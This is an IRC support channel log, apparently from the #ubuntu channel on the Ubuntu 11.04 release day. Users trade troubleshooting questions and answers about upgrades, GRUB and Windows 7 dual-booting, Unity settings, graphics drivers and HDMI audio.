[15:52] <Incarus6> ChogyDan, the only error
[15:52] <MK``> Ubuntu_user: nope, works fine. Although, after I installed ubuntu, the final character of all the passwords of user accounts on windows 7 were cut off, *no idea* how that occured.
[15:52] <invinciblemutant> i use do-release-upgrade
[15:52] <Monotoko> Ubuntu_user...I have done some Ubuntu/Win 7 installs...what's the issue? If you install Win7 first, then shrink the parition from the live CD and install from there it's usually okay (Windows 7 may need a disk check)
[15:52] <[Soma]> Anyone figure out how I can make the app launcher in Unity NOT auto-hide?! I'm so sick of having to open it every time I wanna switch applications.
[15:53] <Incarus6> ChogyDan, lets ignore that. Im restarting the upgrade thing
[15:53] <shermanboyd_> I'm looking for information on the current state of software raid in ubuntu, is it on par with rhel yet?
[15:53] <[Soma]> also, alt-tabbing between programs doesn't work anymore. :S
[15:53] <ChogyDan> Incarus6: ok, can you translate for me?  :)
[15:53] <vibhav> Is the CD bug fixed??
[15:53] <invinciblemutant> i think natty should be renamed to nasty
[15:53] <jatt> hehe
[15:53] <bkerensa> ChogyDan: So if they remove Classic from Natty will there be a solid workaround to scrap Unity for Gnome 2
[15:53] <flo> shetlandpony, clocking
[15:53] <flo> ?,
[15:53] <Incarus6> ChogyDan, "libpolkit-gobject-1-0 : Disrupt: libpolkit-gtk-1-0 (< 0.99) but 0.96-2ubuntu4 should be installed"
[15:53] <ChogyDan> bkerensa: classic is part of natty already
[15:54] <Amanda> arand: Okay so doing it that way isn't going to break 349805 things or anything unless of course someone messes it up? :P
[15:54] <invinciblemutant> this is the first time i fail upgrade with ubuntu
[15:54] <flo> ! clock
[15:54] <flo> ! clocking
[15:54] <exchgr> does anyone know how i can use a mirror for upgrading to natty? this is slooooow
[15:54] <Incarus6> !clock
[15:54] <bkerensa> ChogyDan: Yeah but apparently they plan to remove the Classic option in future releases and force Unity
[15:54] <Incarus6> flo, ?
[15:54] <flo> !clock
[15:54] <escott> flo system clock is generating signals to dram at X megahertz. don't think dram knows it is empty so it always refreshes
[15:54] <escott> ie no change in energy usage with memory usage
[15:55] <ActionParsnip> exchgr: all mirrors will be "slooooow", it's release day. Think about it
[15:55] <nick87720z> Please, help me to upgrade distro from lucid
[15:55] <ChogyDan> Incarus6: you could try aptitude upgrade libpolkit-gobject-1-0        see what options it gives
[15:55] <nick87720z> I have ubuntu based distro
[15:55] <thegoodcushion> Okay guys I'm thinking of buying a HP Deskjet 2000 for Ubuntu so I can print out color-coded source code using gedit.  Any last thoughts before I plonk the money down?
[15:55] <exchgr> ActionParsnip, yes, but wouldn't at least one of them be less slow?
[15:55] <nick87720z> Update manager from gnome just don't show new releases
[15:55] <ActionParsnip> nick87720z: you will either need to upgrade to maverick, then to natty OR do a clean install of natty
[15:55] <arand> Amanda: Or if you have a really messy system with lots of additional repositories which messes things up, it should be fine otherwise yes, but the other methid is the recommended one, obviously.
[15:55] <flo> escott, i think i understand. so energy saving is a little difficult with the pc turned on, isn't it? (except for the screen, perhaps)
[15:55] <nick87720z> ah
[15:55] <Incarus6> ChogyDan, nothing. nothing to install, nothing to fix, ...
[15:55] <m4k> Can any one help me why this shell script running in loop http://pastebin.com/y9jHX201
[15:55] <nick87720z> I checked to show only lts releases
[15:56] <nick87720z> Is it possible?
[15:56] <Incarus6> ChogyDan, let me try the upgrade
[15:56] <invinciblemutant> u can use do-release-upgrade
[15:56] <zzecool> unity is the FAIL
[15:56] <ActionParsnip> exchgr: i'd say they will ALL be slow as a LOT of users are upgrading. If you torrent the alternate natty ISO you can do an offline upgrade but you will then need to upgrade natty to the latest packages which will take more time
[15:56] <escott> flo various components can be turned off/spun down. the chip can run slower the harddrives spun down, you may be able to turn off your network card etc, but not ram usage. install powertop it can optimize for battery life
[15:56] <bkerensa>  ChogyDan: Yeah but apparently they plan to remove the Classic option in future releases and force Unity
[15:56] <IncognitoMan> Monotoko: did you get my last message? and if so did you answer it? ( its starting to become hard to catch up lol )
[15:56] <Ubuntu_user> MK``:  escott  check this http://pastebin.com/BGPe1yUw
[15:56] <Monotoko> nick87720z: http://ubuntuforums.org/showthread.php?t=1140198
[15:56] <shermanboyd_> does anyone in here boot from a softraid 1 or 10 with ubuntu?
[15:57] <exchgr> ActionParsnip, they should set up a torrent-based apt
[15:57] <Monotoko> you need to change it so it will show "normal" releases
[15:57] <escott> Ubuntu_user, win 7 doesn't like being messed with
[15:57] <ActionParsnip> exchgr: true, I use apt-fast, it's sweeet
[15:57] <ChogyDan> Incarus6: ok, go for it.  but maybe libpolkit-gtk-1-0 is the problem package
[15:57] <pigdad> So I started the Ubuntu install CD, pressed "try ubuntu" and nothing happened
[15:57] <exchgr> ActionParsnip, wtf is that? *googles*
[15:57] <pigdad> Is that a bad sign?
[15:57] <Amanda> arand: Awesome, thanks!
[15:57] <Ubuntu_user> escott:  what i researched, i found that win 7 creates problem with grub
[15:57] <escott> Ubuntu_user, did you shrink win7 and move the start of the partition, or just shrink it and keep the start of the partition where it was
[15:57] <Sidewinder1> I have searched and searched...Could any supply me with the hash (md5sum) for: Natty, 11.04 i386 desktop.iso I have been seeding it for 2:47 and the hashs don't agree.
[15:58] <while> i have a question . i am currently running windows 7 and ubuntu 10.10 in a dual boot system and i would very much like to reinstall ubuntu 11.04 over the current ubuntu i`m running without messing up my MBR or the GRUB ... can someone tell me how can this be done ?
[15:58] <Monotoko> pigdad...what do you mean by "nothing happened"?
[15:58] <MK``> Ubuntu_user: I never had it mess with my grub installation.
[15:58] <Incarus6> ChogyDan, yeah that could be, but apt-get install -f doesnt show up any dependency errors
[15:58] <nick87720z> yeah, thanks
[15:58] <Astalaseven> pigdad, did you do this in a other os?
[15:58] <pigdad> Monotoko: It stalled for a long while and just continued showing the window
[15:58] <flo> !powertop
[15:58] <nick87720z> Strange, that it needs special actions in command line
[15:58] <pigdad> Monotoko: I should specify. This is booted into the CD.
[15:58] <usr13> pigdad: Did you check your iso for integrity?
[15:58] <pigdad> usr13: Hm, I'll do that once I reboot
[15:58] <escott> while, just reinstall, it should just put the newer grub on top of the old one. if you need to backup your grub.conf do that prior to the install and then you can merge you special config back in
[15:59] <Monotoko> pigdad...can you move around the menu beforehand?
[15:59] <Monotoko> if so go to "check CD"
[15:59] <Ubuntu_user> escott: I just shrinked my second drive D:/  to a new partition of 50 GB, then divided it into 3 partitions
[15:59] <while> escott, thank you i just needed a confirmation
[15:59] <Monotoko> or whatever it says
[15:59] <Lars_G> Hmmm Why can't I get into ubuntu+1?
[15:59] <[Soma]> how do I customise all the things that unity messed up without asking me? (navbar on top instead of bottom, app launcher set to auto-hide, etc)
[15:59] <Lars_G> or is 11.04 final already
[15:59] <Lars_G> ?
[15:59] <[Soma]> I'm going insane here
[15:59] <LjL> Lars_G: because Natty is out, so the channel has been closed
[15:59] <pigdad> Monotoko: The menu didn't show up. I opened a terminal window by switching to a VT and running gnome-terminal
[15:59] <Lars_G> Ok
[15:59] <ActionParsnip> Lars_G: yes
[15:59] <Lars_G> LjL: Then I'll ask here.
[16:00]  * Incarus6 thinks 11.04 is much more important then a royal wedding
[16:00] <escott> Ubuntu_user, i don't have any problems with the config now, but but i did have numerous assorted problems that required multiple restores of win7 and reinstalls of ubuntu
[16:00] <Ubuntu_user> MK``:  you lucky one, google it millions out there facing this problem
[16:00] <Monotoko> pigdad...so you get as far as X opening?
[16:00] <pigdad> But yeah, I'll check the disk for integrity. I torrented the iso so chances are it's OK, but maybe it burned wrong
[16:00] <Lars_G> Has Xorg dropped the use of /etc/X11/xorg.conf altogether? and I don't mean the change made long ago whereas it was optional, I mean wether it has stopped considering it compeltely
[16:00] <Sidewinder1> Incarus6, +3
[16:00] <pigdad> Monotoko: Correct
[16:00] <pigdad> Monotoko: X opened, and stuff runs correctly, the shell just didn't load
[16:00] <ChogyDan> bkerensa: who knows.  It might be their goal, but it is best to wait till after the UDS
[16:00] <Monotoko> pigdad...you should be able to check the logs to see what went wrong
[16:00] <agrab> Are there 3 drivers available for ati/amd-cards? the default "radeon" driver, fglrx and the catalyst driver?
[16:01] <mnoyce> Spotted a bug in the 11.04 disk partition part of the installer. No longer lets you type a mount point. You can only select from the drop-down list of options.
[16:01] <escott> Lars_G, pretty much, you can still create one but xorg is mostly autoconfiged these days
[16:01] <MK``> Ubuntu_user: yeah :( you can probably fix grub with a liveCD, these guys can help, I am not an expert
[16:01] <biffbaxter> No mini iso yet for 11.04 but it looks like the rest is there
[16:01] <usr13> escott: WHen you restored win7, you also needed to reinstall ubuntu?
[16:01] <Ubuntu_user> escott:  i am not able to get a solution
[16:01] <ActionParsnip> biffbaxter: wanna bet
[16:01] <vladi> anyone have issues running vmware player/workstation after the upgrade?
[16:01] <Monotoko> usr13...you will need to reinstall GRUB
[16:01] <Monotoko> because Windows will use its bootloader
[16:01] <escott> usr13, all I had was a restore image, not an install disk, it would blow away the entire partition table
[16:01] <Monotoko> but not Ubuntu itself
[16:01] <usr13> Monotoko: Oh yea, I  know.
[16:01] <Lars_G> escott: I created one long ago, to setup my synaptics touchpad, but since the last update in +1 to final (I guess it's final now), I can't use the mouse and synclient says the driver's not even installed
[16:01] <ActionParsnip> biffbaxter: http://archive.ubuntu.com/ubuntu/dists/natty/main/installer-i386/current/images/netboot/mini.iso
[16:01] <Holek> is there a configuration backup for compiz after upgrade?
[16:01] <Lars_G> escott: So I'm thinking xorg is ignoring the file.
[16:01] <agrab> which drivers are available for ati-cards?
[16:02] <Ubuntu_user> MK``:  but it will become a daily issue to fix grub each time u run window
[16:02] <bkerensa> ChogyDan: How can I change repos when doing a natty upgrade so the download process if faster
[16:02] <ActionParsnip> Lars_G: check /var/log/Xorg.0.log
[16:02] <escott> Lars_G, it shouldn't ignore the file, check your /var/log/Xorg.0.log
[16:02] <usr13> escott: I didn't think win7 would re-quire you to re-partition the HD?  (But I don't know for sure...)
[16:02] <Lars_G> escott: There's no mention to the driver on the log at all
[16:02] <jatt> where are the iso's md5sums
[16:02] <ActionParsnip> Holek: how do you mean?
[16:02] <ActionParsnip> !hashes
[16:02] <ubottu> See https://help.ubuntu.com/community/UbuntuHashes for the md5sums of Ubuntu discs.
[16:02] <escott> Lars_G, try reinstalling it
[16:02] <urbanpt> I'm not very familiar with the new upstart manager, but I needed to have a job running after each time mysql is restarted. I've added the script path to /etc/init/mysql.conf on the post-start script part but it didn't work. Any hints?
[16:03] <Sidewinder1> Thanx AP
[16:03] <ToeKutter> what is "..a Qt-based implementation.." mean ?
[16:03] <escott> usr13, if you restore a backup image the entire disk gets restored
[16:03] <agrab> are there more than 2 drivers available for ati-cards?
[16:03] <Lars_G> escott: Though, it does say it's reading xorg.conf in the log
[16:03] <jatt> the 11.04 hashes are not there
[16:03] <escott> Lars_G, the synaptics driver that is
[16:03] <arand> !upstart | urbanpt
[16:03] <ubottu> urbanpt: Upstart is meant to replace the old Sys V Init system with an event-driven init model.  For more information please see: http://upstart.ubuntu.com/
[16:03] <Lars_G> escott: I will
[16:03] <escott> Ubuntu_user, what are your win7 reinstall options
[16:03] <Holek> ActionParsnip: I had my configured Compiz and with the upgrade Ubuntu basically trashed all the configuration I had
[16:03] <Lars_G> escott: Since I see no error even in the log
[16:04] <jatt> unity doesn't use compiz
[16:04] <biffbaxter> !ActionParsnip - that iso is not the current build. I dowloaded it a week ago and its the same one and the datestamp is 21April
[16:04] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[16:04] <Ubuntu_user> escott: please explain
[16:04] <arand> jatt: http://releases.ubuntu.com/natty/
[16:04] <Holek> I am not on Unity
[16:04] <flo> escott, thank you! that's a point to start from. just browsed a bit through ubuntusers.de on those energy-saving hints.
[16:04] <[Soma]> someone please help me, I'm going insane with unity. how do I change that the app-launcher on the left is NOT auto-hide but constantly visible so it doesn't take me ages to switch between apps. also, how do I enable alt-tabbing between apps, and how -- for the love of god -- do I customise the top navbar (the part with the time etc in it)
[16:04] <usr13> escott: Oh, I see.
[16:04] <ActionParsnip> jatt: http://releases.ubuntu.com/natty/MD5SUMS
[16:04] <Sidewinder1> ActionParsnip, I checked the link you graciously gave...It hasn't been updated. :-( No hash for Natty
[16:04] <vladi> anyone have issues running vmware player/workstation after the upgrade?
[16:04] <ActionParsnip> jatt: I'll see if I can update it
[16:05] <yeik> I get the feeling today is going to be a busy day.
[16:05] <arand> jatt: Unity uses compiz.
[16:05] <lugkhast> [Soma]: Auto-hiding can be disabled through CCSM
[16:05] <ts145nera> hello, is dangerous upgrade kubuntu maveric to natty?
[16:05] <ScreenIssues> Trying to install 11.04 from DVD, installer is too dim to read. Laptop screen dim function keys do not do anything. Is there a way to boot the installer in to some sort of safe graphical mode?
[16:05] <Ubuntu_user> escott:  what windows 7 install options?
[16:05] <lugkhast> [Soma]: Also, moving your mouse to the top-left corner instantly shows the left dock
[16:05] <KrisDouglas> ScreenIssues, you may be better off using the alternate install disk.
[16:06] <ScreenIssues> I'll give that a go
[16:06] <KrisDouglas> That's a text based installer, it could be that the live disk does not fully support the backlight control on your computer.
[16:06] <wolfjb> I'm getting a segfault when installing nspluginwrapper on natty amd64. is there a way around this? flashplugin_installer won't install until nspluginwrapper is completely installed
[16:06] <usr13> ScreenIssues: alternate CD is the non-gui one.
[16:06] <Roasted_> Is there an official download of 11.04 2d?
[16:06] <escott> Ubuntu_user, well there are lots of ways Win7 can get broken. bootloader which might be fixable with the windows 7 rescue disk (you can download that). or Win7 can start thinking that there is some kind of hardware change and get stuck on PnP during boot. and a thousand other things, so I just kept reinstalling Win7 from my backup image on a USB drive until I managed to somehow not break it. took a couple attempts, but I found that wh
[16:06] <escott> ile I could safely resize the ntfs partition I could not then move it
[16:06] <KM0201> Roasted: yes, its out
[16:06] <yxz97> http://pastebin.com/p2HraCWq
[16:06] <yxz97> please help
[16:06] <arand> Roasted_: 2d?
[16:07] <Roasted_> KM0201, but 2d in particular?
[16:07] <Roasted_> arand, unity 2d
[16:07] <yxz97> cannot start vuze in ubuntu
[16:07] <[Soma]> lugkhast: but what annoys me deeply is that first I have to navigate the pointer to the top-left, then the launcher pops out, and then I still have to select the app I wanna switch too. I wanna be able to click on it instantly. but thanks, I'm installing ccsm!
[16:07] <Roasted_> arand, I installed ubuntu on my cr-48 and its running kind of sluggish
[16:07] <loseweighttttttt> is windows server any good?
[16:07] <yxz97> any idea?, please check the pastebin URL i posted..
[16:07] <Roasted_> I remember there being a 2d
[16:07] <KM0201> Roasted: oh, 2d.. id on't think so.
[16:07] <arand> Roasted_: It can be installed, but is not default in any release no.
[16:07] <arand> Roasted_: apt-get install unity-2d
[16:07] <arand> Roasted_: And select it at login
[16:07] <escott> yxz97, looks like you are trying to run a 64bit program on a 32bit system
[16:08] <Roasted_> arand, so that'll allow me to have 3d and 2d available?
[16:08] <ActionParsnip> Holek: then use your own backups, or just resetup the WM
[16:08] <escott> yxz97, or that you have a 32bit jvm on a 64bit system. what is Azureus
[16:08] <arand> Roasted_: Yes, choose at login.
[16:08] <yxz97> its a bittorrent client
[16:08] <yxz97> but I want all 32bits
[16:08] <yxz97> no mess
[16:09] <Ubuntu_user> escott:  I am sure win 7 is intact only ubuntu grub is deleted or something
[16:09] <ActionParsnip> !info azureus
[16:09] <ubottu> azureus (source: azureus): BitTorrent client. In component universe, is optional. Version 4.3.0.6-1.1ubuntu1 (natty), package size 11552 kB, installed size 12940 kB
[16:09] <Holek> ActionParsnip: the thing is, I didn't do any, and with any other configuration file it always asked me if I'm okay with changes being made...
[16:09] <escott> yxz97, something is 64bit did you download/install a 64bit version of Azureus or a 64bit JVM
[16:09] <ts145nera> hello, is dangerous upgrade kubuntu maveric to natty? How many time?
[16:09] <ActionParsnip> yxz97: azureus is in the repos
[16:09] <avij> ipv6.torrent.ubuntu.com seems to complain that the "requested download is not authorized for use with this tracker" when downloading the various ubuntu-11.04-*.iso files. could someone please authorize the ubuntu isos to that ipv6 tracker?
[16:09] <jbwiv> oh my word people...who decided on such a white theme for the ubuntu.com page? Please, please, put a background in place which is easier on the eyes...that damned thing looks embarrassing. I thought the page was broken at first
[16:09] <Incarus6> ChogyDan, still isntalling
[16:09] <Ubuntu_user> escott:  I am sure win 7 is intact only ubuntu grub is deleted or something
[16:09] <phoque_uni> what's the difference between i386 and amd64, other than the 4GB limit?
[16:10] <ActionParsnip> Holek: then all I can sugest is you reset it up, I also suggest you review your backup regime to include the compiz settings
[16:10] <Sylphid> hey all....having a problem with front panel audio, if i start audio it everything defaults to rear panel however if i run aplay /some/audio.wav and start another track durring the aplay it goes to the front panel, any tips on how to toggle between front and back panel only?
[16:10] <escott> Ubuntu_user, grub would install over the mbr and then try to chainload the win7 loader on its partition, but that loader may have hard coded addresses for other components of the windows boot which may have moved during the resize
[16:10] <econdudeawesome> howdy all!
[16:11] <arand> phoque_uni: Performance, and the ~3.2G limit is only for individual applications if you use PAE.
[16:11] <ActionParsnip> phoque_uni: each process can use more than 4Gb RAM, extra features enabled in the CPU
[16:11] <phoque_uni> hm
[16:11] <escott> Ubuntu_user, the combination of resize + replacing the windows mbr bootloader could break the win boot requiring either a win7 reinstall or the use of win7 rescue cd to fix the boot process
[16:11] <yxz97> ok, iḿ installing it from the repos now
[16:11] <econdudeawesome> Is there anyway to remove all GUI's from my Ubuntu install and just use it similar to Ubuntu Server? I built it up from ubuntu minimal, but cannot upgrade to 11.04 so I just want to scrap the gui.
[16:11] <arand> phoque_uni: 64bit is faster in almost all cases.
[16:11] <phoque_uni> ok
[16:11] <ActionParsnip> phoque_uni: heavy computatinal thins like video encoding will be faster, regular desktop stuff will not see any noticable speed change
[16:11] <walent> can someone help me
[16:11] <phoque_uni> will go with 64 bit then
[16:11] <Ubuntu_user> escott:  yes thats true, what  people are saying over ubuntu forums, windows does something with MBR
[16:11] <LAcan> does anyone know how I take my NIC out of monitor mode or restart it?
[16:12] <walent> how do i install slovak language on ubutnu, i already installed english
[16:12] <Holek> great
[16:12] <ActionParsnip> arand: for standard desktop stuff the increase is negligible
[16:12] <CELEBRATE> h
[16:12] <CELEBRATE> hi
[16:12] <Holek> and now I get segfault on emerald, toio
[16:12] <Holek> too*
[16:12] <ActionParsnip> Holek: emerald is no longer maintained
[16:12] <Ubuntu_user> escott:  maybe 11.04 has some solution to it
[16:12] <escott> econdudeawesome, uninstall Xorg and all Xlibs should remove everything else. be aware many command line tools have guis and might get pulled in
[16:12] <phoque_uni> somehow I can't get this stupid USB Thumbdrive to be recognised by my BIOS
[16:13] <CELEBRATE> mirrors: http://www.computerhilfe-forum.com/board75-snowlinux-de-das-neue-projekt/1450-linux-snowlinux-1-cold-gnome-32-bit-released/
[16:13] <LAcan> walent, system/adminstration/language support
[16:13] <econdudeawesome> thanks escott--I know my command line tools, so that should work alright. Should I reboot first?
[16:13] <ActionParsnip> phoque_uni: ask in ##hardware
[16:13] <econdudeawesome> escott: rather: boot into a command line?
[16:13] <Incarus6> ChogyDan, !#%$& still not working
[16:13] <Holek> ActionParsnip: so, where can I change current window decorator options?
[16:13] <escott> econdudeawesome, you can just Ctrl-Alt-F1
[16:13] <ActionParsnip> Holek: ccsm or simple-ccsm
[16:13] <LAcan> Holek, right click the desktop, last option
[16:13] <walent> LAcan, i did but its sort of greyed out
[16:14] <LAcan> walent, then u need to install the language pack from ubuntu software center
[16:14] <necrotik> Hi all having a bit of a problem. I just got a nvidia gt 430 to hook up ubuntu to my tv. I set the sound settings to use HDA Nvidia Digital Stereo (HDMI) but I do not hear anything coming out of my tv.
[16:14] <LAcan> does anyone know how I take my NIC out of monitor mode or restart it? escott?
[16:14] <escott> Ubuntu_user, doubt it the problem seems to be with win7 get the rescue cd and see if it can fix
[16:14] <LAcan> Ubuntu_user, whats the problem you are having?
[16:14] <Eduard> guys, does anybody know, if broken dependency  problem with nvidia-96 was fixed in 11.04?
[16:14] <escott> LAcan, iwconfig won't do it for you
[16:15] <operatorplik> ukuykluilk
[16:15] <LAcan> escott, just "iwconfig"?
[16:15] <escott> iwconfig wlan0 mode Auto
[16:16] <LAcan> escott, ty ty
[16:16] <Ubuntu_user> escott:  tried it i completely restored window too with dell recovery cd but nothing same screen again, but when i repaired ubuntu with live CD everything was solved
[16:16] <Ubuntu_user> LAcan: check it http://pastebin.com/BGPe1yUw
[16:16] <TerryBook> necrotik:  you've checked volume and mute settings on both TV and computer?
[16:16] <necrotik> Yes.
[16:16] <emilkje> does anyone know if a dist-upgrade will ruin LAMP + RVM + Passenger?
[16:17] <necrotik> TerryBook I get sound from the cable box, i used alsamixer to unmute everything
[16:17] <Holek> ActionParsnip: LAcan: okay, but ccsm doesn't give me themes, and desktop preferences give me just preloaded themes with no configuration options
[16:17] <Monotoko> ....I need some disks >.< this always happens on release day
[16:17] <TerryBook> ok.  what sort of hdmi cable are you using?
[16:18] <LAcan> Ubuntu_user, Holek u have a nvidia?
[16:18] <necrotik> TerryBook, the cabley kind?
[16:18] <Ubuntu_user> LAcan:  ATI
[16:18] <LAcan> Holek, that is normal behaviour. if you want more theme configuration you have to install tweak ubuntu or ccsm for compiz
[16:18] <Holek> LAcan: nope, integrated Intel
[16:18] <ActionParsnip> Holek: not sure about "themes" it usually uses the GTK theme you set
[16:18] <TerryBook> hdmi on both ends?  one cable all the way through, or is there a connector in the middle?
[16:18] <necrotik> One cable.
[16:19] <Roasted_> So I just installed Unity 2D on my netbook, but I want to make the icons of the dock smaller. So I went into compiz to go to the plugin to make them smaller and this plugin is disabled. How can I make the icons smaller on unity 2d?>
[16:19] <LAcan> Holek, however u should be able to turn on effects thru that method i described
[16:19] <Ubuntu_user> LAcan: does that matter
[16:19] <ActionParsnip> Roasted_: press ALT+F2   and run:  r      may help
[16:19] <LAcan> Ubuntu_user, is ubuntu using the nvida drivers?
[16:19] <TerryBook> which hdmi port on the tv are you using?  some tvs don't have sound support on all hdmi connections.  don't ask me why, it gave me trouble when I used to install DirecTV for people
[16:19] <Roasted_> ActionParsnip, just... r?
[16:19] <escott> Roasted, omgubuntu had something on that recently try googling their site
[16:20] <LAcan> Ubuntu_user, sorry u are having the booting issue correct? the pastebin from earlier?
[16:20] <TerryBook> also, that said, are you using nvidia-current?
[16:20] <Holek> LAcan: I just want to customize my window decorator, everything else I am setting already in ccsm, I cannot change window decorator theme via ccsm
[16:20] <necrotik> •TerryBook• I unplugged the port the cable tv was using, so it should have sound, the cable did.
[16:20] <ActionParsnip> Roasted_: yeah, should reset things (works in debian), or just restart X server
[16:20] <freaky[t]> does anyone else have an ATI Raden HD 5850?
[16:20] <Ubuntu_user> LAcan:  no when i install ubuntu newly it just says download and install ati drivers
[16:20] <Roasted_> ActionParsnip, what am I resetting? I'm on unity 2d now... I just want to change the icon size smaller than default.
[16:20] <LAcan> Holek, in ubuntu natively thru the theme option in right clicking should allow you a) pick a theme and b) pick the level of desktop effects. this does in fact work correct?
[16:20] <escott> LAcan, Ubuntu_user was having problems booting windows not ubuntu if I understand him correctly
[16:21] <LAcan> Ubuntu_user, ok, so we need to fix your boot settings?
[16:21] <maximus_> Hey. I'm about to install Natty, i have 2 hdd's, will I get any performance boost if i put everything on hda except /usr and swap (which i will put on hdb)?
[16:21] <Ubuntu_user> escott:  yep true,
[16:21] <TerryBook> necrotik:  the only other thing I can suggest at this point is driver-related.  are you using nvidia-current, and have you checked the NVidia settings?
[16:21] <ActionParsnip> Roasted_: the X server, may help
[16:21] <Holek> LAcan: yes, it does, but my point is, I don't want to "choose", I want to do my own
[16:22] <LAcan> maximus_, its  good idea to put the swap on a physically seperate volume
[16:22] <escott> maximus_, your fastest setup is raid0 stripped
[16:22] <necrotik> •TerryBook• I don't know how to check the nvidia settings, but I'm using the restricted driver the driver tool wanted to activate.
[16:22] <Bluebill-Wolf> ello
[16:22] <LAcan> Holek, ok, thats above my paygrade, your gonna need a them builder or whatver.... have you tried tweak ubuntu? it has many visual tweaks available
[16:22] <maximus_> escott - hard drives are different sizes...)=
[16:23] <Holek> LAcan: is it in the repo?
[16:23] <pingus_> :)
[16:23] <nealmcb> at https://help.ubuntu.com/community/NattyUpgrades#AlternateUpgrade it says to   gksu "sh /media/cdrom/cdromupgrade"   but the natty cdrom doesn't have a cdromupgrade file.  What's up?
[16:23] <DexterLB> hello. I have been given a laptop with radeon x1200, and I have to get 3D accel working in the next 3 hours, or I won't get paid :D
[16:23] <zatan> Hi, why I cant update to Natty Narhwal throught update-manager-d ?
[16:23] <LAcan> Holek, tweak ubutu should be, or the PPA is easily findable thru google... but i think its in the native repos yes
[16:23] <TerryBook> necrotik:  assuming you're still in 10.04 or 10.10 and gnome, it's in the System/Administration menu, as 'NVidia X Server Settings'
[16:23] <DexterLB> I've tried so many things, and I've almost given up hope
[16:23] <escott> maximus_, you can still strip up to the common size and have the rest for swap or large files (not that I recommend stripping)
[16:23] <pingus_> Hiiiiiiii
[16:24] <necrotik> •TerryBook• That contains no sound settings AFAIK
[16:24] <akerr> !log 10
[16:24] <escott> DexterLB, and you have installed all the fglrx drivers
[16:24] <ts145nera> Is dangerous upgrade kubuntu maveric to natty?
[16:24] <somethinginteres> DexterLB: rundown of what you've tried?
[16:24] <DexterLB> fglrx doesn't seem to work with that chip, nothing in ubuntu's hardware driver suggestions and envy isn't available on maverick
[16:24] <neckoox> Hi ! I have a question : do DNS servers tell on which port to connect when we request a website ? Or is it ALWAYS port 80 and we have to set a redirection on an another port if the webserver is set elsewhere ?
[16:24] <LAcan> Ubuntu_user, still here? can you mount your window drive in ubuntu?
[16:24] <escott> neckoox, dns only tells where the server is nothing about ports
[16:25] <Ubuntu_user_> LAcan:  sorry for disconnection
[16:25] <LAcan> neckoox, dns does not include port information
[16:25] <neckoox> escott: thx
[16:25] <maximus_> ~escott - where can I read up about that..dont want to bother anyone with asking how to do that..
[16:25] <DexterLB> neckoox, escott: I tried installing all the fglrx packages, it says no supported hardware
[16:25] <TerryBook> necrotik:  someone else might be able to better help you, then
[16:25] <LAcan> Ubuntu_user, u can mount your windows drive in ubuntu?
[16:25] <escott> maximus_, mdadm documentation
[16:25] <neckoox> LAcan: ok x
[16:25] <Pici> DexterLB: fglrx does not support that chipset. The open source drivers should work fine. (they do on my x1400)
[16:25] <necrotik> •TerryBook• k thanks!
[16:25] <Roasted_> Is there any hope in sight for dual screen systems with unity being able to choose which screen the dock is on?
[16:25] <escott> DexterLB, is the x1200 super old?
[16:25] <DexterLB> escott: yup
[16:26] <econdudeawesome> Well, I removed my GUI, but now my color scheme is the purplish-grey of bootup for Ubuntu. How do I modify my color to something more acceptable?
[16:26] <DexterLB> Pici: does it have 3D?
[16:26] <escott> maximus_, feel free to pm if you have mdadm questions
[16:26] <somethinginteres> Roasted_: wouldn't it display on the display set as primary?
[16:26] <Pici> DexterLB: Yes.  I wouldn't expect to be able to play games on it, but compiz works fine.
[16:26] <Roasted_> somethinginteres, the beta did not.
[16:26] <Ubuntu_user_> LAcan:  so how to fix boot records
[16:26] <Roasted_> somethinginteres, it just forced the dock to the far far left, no matter how you stacked your monitors.
[16:26] <DexterLB> Pici: hmm, compiz here says No GL
[16:26] <LAcan> Ubuntu_user, by answering the questions :) Can you mount your windows drive in ubuntu? can you see your windows files?
[16:27] <somethinginteres> Roasted_: perhaps you should lodge a bug report.. seems like that'd affect many people
[16:27] <Roasted_> somethinginteres, so for me it was a PITA, because my main monitor is on the right. So my unity dock defaulted to the left... but my left monitor is just for watching news, weather, IMs, email, etc. So I hate to have to swing way over to use that dock.
[16:27] <Roasted_> somethinginteres, well I heard it was a work in progress. But this was 2 weeks ago. I wasnt sure if anything had changed.
[16:27] <necrotik> w00t i got sound
[16:27] <maximus_> escott thanks, will give it a look at. btw, never used IRC, how do i reply just to you? what am i supposed to put infront of the name?
[16:27] <econdudeawesome> Does anyone know how to change the initial color scheme for the command line?
[16:27] <Ubuntu_user_> LAcan: yes
[16:28] <somethinginteres> Roasted_: there's a new version of unity out that hasn't landed, that changes a number of things e.g. "Home Folder" to "File Manager". Maybe it is fixed in there
[16:28] <Pici> DexterLB: Can you check your xorg log to see what driver you are using?
[16:28] <Roasted_> somethinginteres, will that be part of regular system updates, you think?
[16:28] <Pici> Roasted_: You really should log a bug.
[16:28] <Roasted_> Pici, one exists I believe.
[16:28] <escott> maximus_, /msg
[16:28] <somethinginteres> Roasted_: I had hoped it would be out by now, I am sure it will come in regular updates at -some- time. Not sure when
[16:28] <necrotik> Ok if I type aplay -D plughw:1,9 /usr/share/sounds/alsa/Front_Center.wav I hear sound in my tv. Anyone know what the next step is?
[16:28] <LAcan> Ubuntu_user_, ok, thats good :) so when you boot, u get the grub boot menu yes? the one which allows you to choose ubuntu?
[16:29] <juzzy_> hi
[16:29] <juzzy_> i have upgraded to 11.04
[16:29] <Bluebill-Wolf> btw does anyone know if nortan antivirus is capatiable with Ubuntu?
[16:29] <juzzy_> how may i turn on "unity" now?
[16:29] <Roasted_> Bluebill-Wolf, no, it's not. Thank GOD.
[16:29] <PhoenixSTF> natty looks like Macintosh
[16:29] <LAcan> Bluebill-Wolf, hello no
[16:29] <escott> econdudeawesome, do you mean the colors of the prompt  ($PS1 in .bashrc) or the background colors (right click on terminal and manage the profiles)
[16:29] <maximus_> escott_, awesome, thanks (=
[16:29] <Roasted_> PhoenixSTF, no, it doesn't.
[16:29] <PhoenixSTF> Roasted, yes it does
[16:29] <PhoenixSTF> LOL
[16:29] <Roasted_> PhoenixSTF, I have been on Ubuntu since 2005. Ever since day one people have found a way to say it looks like Mac.
[16:29] <Bluebill-Wolf> myh . . . wait a min what do you mean "thank god?"
[16:29] <Ubuntu_user_> LAcan:  Yes i get it till the time i dont start windows, the moment i did,  on next restart i face this problem
[16:30] <Roasted_> PhoenixSTF, while the global menu is similar to mac, it's not the exact same. that is the *only* similarity. In other words - no, it does not.
[16:30] <Roasted_> Bluebill-Wolf, because norton sucks. horribly.
[16:30] <econdudeawesome> escott: I know longer use terminal--the CLI for the OS
